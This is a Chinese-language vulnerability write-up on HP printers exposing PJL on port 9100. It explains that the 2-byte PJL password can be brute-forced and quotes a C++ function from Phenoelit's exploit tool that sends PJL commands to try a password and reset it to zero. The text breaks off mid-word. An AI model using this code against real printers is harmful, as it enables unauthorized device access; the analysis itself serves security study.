0x01 漏洞概要
PCL代表打印机控制语言(Printer Control Language),由惠普公司开发,并被广泛使用的一种打印机协议。关于另一种页面描述语言,应该提一提由Adobe设计的PostScript(PS),它可以将更为复杂的事情交由绘图仪/打印机处理。PJL (Printer Job Language,打印机作业语言)作为PCL的扩展,用于指导打印机行为,比如更改设备设置、传输文件等。 若打印机的9100端口向公网开启,在向打印机发送PJL指令之前需要对使用者的身份进行认证,认证程序的密钥长度为2字节(Byte),因此可以通过暴力破解认证密钥想打印机发送PJL指令,最终导致任意命令的执行。
PJL (Printer Job Language)程序用于告诉打印机执行什么动作,是对PCL的额外支持。 PJL (Printer Job Language) 用于规范格式化页面的基本语言。本身是无害的,但却成为大多数解析器和解释器的漏洞利用代码。
0x02 漏洞原理
打印机系统9100端口开启时,若连上该端口通过PJL指令发送设备名称请求并得到打印机的响应,说明可以未授权访问打印机,PJL保护机制的密钥由2个字节(16比特)的存储单位存储,可以进行暴力破解攻击,从而得到目标打印机的完全访问权限。
根据国外安全研究员PHENOELIT 已经写好了漏洞利用程序,对其中的主要代码进行分析,得到下面的流程图
下面是破解密钥部分的代码:
- 在pjlsession.cpp中的230到256行
void PJLsession::blind_disable_pjl_password(unsigned int pass) {
String ts;
char numb[50];
if ((pass==0)||(pass>65535)) throw ExInvalid();#ifndef UNIX
_snprintf(numb,49,"%u",pass);#else
snprintf(numb,49,"%u",pass);#endif //UNIX
connection.clear();
connection.sendbuf.set(PJL_START);
connection.sendbuf.append("\r\n");
connection.sendbuf.append("@PJL JOB PASSWORD=");
connection.sendbuf.append(numb);
connection.sendbuf.append("\r\n@PJL DEFAULT PASSWORD=0 \r\n");
connection.sendbuf.append("@PJL EOJ\r\n");
connection.sendbuf.append(PJL_FINISH);
connection.senddata();
// TEST !!!
// connection.recvatleast(9,ctimeout);
// end TEST
connection.sendbuf.clear();
}
因为打印机所使用的密码长度只有2个字节,即16个bit, 65535中表示方法,所以密码范围在0到65535之间,这就是为什么程序能暴力破解打印机认证密码。
connec